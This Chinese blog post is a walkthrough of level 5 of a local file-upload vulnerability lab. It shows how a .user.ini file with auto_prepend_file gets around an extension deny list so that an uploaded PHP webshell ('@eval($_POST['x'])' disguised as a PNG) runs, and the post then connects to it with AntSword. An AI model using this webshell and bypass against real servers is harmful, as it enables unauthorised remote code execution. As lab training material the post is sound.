用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。——鲁迅
前言:这一关很鸡肋,了解即可,别太较真。
吐槽一下:文件上传靶场真是实验三分钟,排版半小时,真恶心。
知识补给库
apache配置文件
httpd.conf文件
- 作用:规定
Apache的默认设置 - 作用域:整个服务器
- 优先级:低
- 生效方式:管理员权限且需重启
Apache服务
.htaccess文件(不是必须存在)
- 作用域:网站根目录及其子目录
- 优先级:高,可覆盖
Apache主配置文件httpd.conf - 生效方式:用户可使用且修改后立即生效,无需重启
Apache服务
php配置文件
php.ini文件
- 作用:存储整个
PHP的配置选项,通常位于PHP的安装目录中 - 作用域:运行在当前
PHP环境中的所有PHP请求 - 优先级:低
- 生效方式:重启WEB服务

.user.ini文件(不是必须存在)
- 作用:针对特定用户或特定目录的配置文件,通常位于Web应用的根目录下。覆盖或追加全局配置文件
php.ini中PHP的配置选项 - 作用域:存放该文件的目录及其子目录
- 优先级:高,可以覆盖
PHP的主配置文件php.ini - 生效方式:无需重启WEB服务,立即生效
加载顺序
WEB服务首先会加载php.ini与httpd.conf中的配置信息。如果WEB服务的某个目录下存在.usr.ini与.htaccess文件,则会使用.user.ini与.htaccess两个文件中的配置信息覆盖或追加php.ini与httpd.conf中的配置信息。
PHP配置与配置文件生效问题
查看php配置
在phpStudy的其他选项菜单中选择查看phpinfo(第二项)

.user.ini生效前提
PHP版本大于5.3.0且为nts版本,最好为7.x版本5.x nts版本会产生中文乱码;7.x nts版本不会产生中文乱码
Server API为CGI或FastCGI
非PHP nts版本信息
Server API的版本不是CGI/FastCGI,此版本的PHP无法使.user.ini文件生效

PHP nts版本信息
Server API的版本为CGI/FastCGI

利用.user.ini实现文件上传漏洞前提
.user.ini可以生效- web服务存储上传文件的位置必须存在
php文件
PS:如果不满足这两个条件,则无法利用此方法。此方法局限性很大。
php.ini中配置.user.ini
打开靶场所使用的PHP版本的安装目录

在php。ini中.user.ini的配置信息全部被注释,本节不需要改动。
- 这里只是介绍如何配置
.user.ini,方便大家以后使用

靶场实战
代码审计

变量$deny_ext是一个黑名单,具体内如如下:
array(
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",
".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",
".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",
".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",
".swf",".htaccess"
);
通过上面的代码可以看到,第五关过滤了很多的文件类型,甚至包括.htaccess文件。但是没有过滤上面说到的.user.ini文件
下面六行代码是对上传文件的文件名和文件类型进行处理,前面已经写过,不再过多赘述。
漏洞利用
是否满足漏洞利用条件
.user.ini实现文件上传漏洞的前提是:保存上传文件的目录中必须存在php文件
- 本靶场的设计者在保存上传文件的目录下预留了
readme.php文件,满足漏洞利用条件

创建.user.ini文件
创建名为.user.ini的文件,文件内容为:auto_prepend_file = muma.png

这句代码的含义是:在执行一个
PHP文件时,这个PHP文件会把名为muma.png的文件包含进行,先执行muma.png文件再执行PHP文件本身
创建木马文件
创建一个php文件,内容如下,创建完成后,修改后缀名为.png
<?php
echo "这是我的木马文件";
@eval($_POST['x']);
?>

上传文件
先上传.user.ini文件,再上传muma.png文件


查看木马文件保存位置
右键选择新建标签页打开图像

图片的网址为:http://127.0.0.1/upload/upload/muma.png,将muma.png改为readme.php,运行readme.php文件
- 由于
.user.ini的设置,因此执行readme.php之前先执行muma.png

蚁剑连接
使用蚁剑连接木马文件

补充
使用5.x nts版本的PHP会产生中文乱码

小结
漏洞利用条件:需要.user.ini生效且上传文件的保存目录中存在一个php文件
漏洞利用顺序:先上传.user.ini文件修改PHP的配置,然后上传木马文件
PS:这种利用方式很鸡肋,受限很大,了解即可。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!
652

被折叠的 条评论
为什么被折叠?



